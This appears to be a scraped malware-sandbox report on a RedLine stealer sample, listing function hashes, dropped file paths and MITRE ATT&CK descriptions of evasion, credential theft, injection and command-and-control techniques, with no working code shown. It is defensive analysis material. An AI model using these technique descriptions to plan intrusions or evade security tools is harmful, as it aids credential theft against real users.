Snapshot File: hcaresult_6_2_3300000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 241c6a75e710dc7597da28ffb032f651ca163255eb3007cac44ba25016144140
Instruction ID: defacdf63f595be6c1736d72232745bfd68ae2f5a6d41c0559f1afb24b80429d
Opcode Fuzzy Hash: 241c6a75e710dc7597da28ffb032f651ca163255eb3007cac44ba25016144140
Instruction Fuzzy Hash: 3231B434A0121A8FDB25DF69CD90B99B7B2FF84204F1046E5D108AB3A5DA30EEC5CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0320D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2847123913.000000000320D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0320D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_320d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5851fea5df2ad1f2538d6f91516c0431d1c75be9340822a187c829b829df70f
Instruction ID: 90b0f5bff668bc2f98fd95c14b9e899bf32e1585739919aefbea2d115bd41517
Opcode Fuzzy Hash: d5851fea5df2ad1f2538d6f91516c0431d1c75be9340822a187c829b829df70f
Instruction Fuzzy Hash: 2101F27151A3009AE710CB69CA84B67FF9CEF41324F0CC46AEC4C0A2C7C6799889CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 0320D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2847123913.000000000320D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0320D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_320d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa6fc0e798fce1fb527639eb52a58b3f33d55b5835af96d3bc88db9c822da345
Instruction ID: 372ed8fe4df145422406da09b0b34e102fe80b1f0934559e3b877305a1b822d5
Opcode Fuzzy Hash: aa6fc0e798fce1fb527639eb52a58b3f33d55b5835af96d3bc88db9c822da345
Instruction Fuzzy Hash: 8901407140E3C09ED7128B25C994B52BFB4EF47224F1DC4CBD8888F1A3C2699848C772

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report w74ALjpS5h.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Desktop\Google Chrome.lnk

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\w74ALjpS5h.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\TmpAD84.tmp

C:\Users\user\AppData\Local\Temp\TmpADD3.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p5zgmnrk.4nl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uey0ou21.kdq.ps1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Static File Info

General

File Icon

Windows Analysis Report
w74ALjpS5h.exe

Function 056A0DC0 Relevance: 7.2, Strings: 5, Instructions: 983
COMMON

Function 056A0DB9 Relevance: 4.0, Strings: 3, Instructions: 240
COMMON

Function 056A20EE Relevance: 3.6, Strings: 2, Instructions: 1087
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre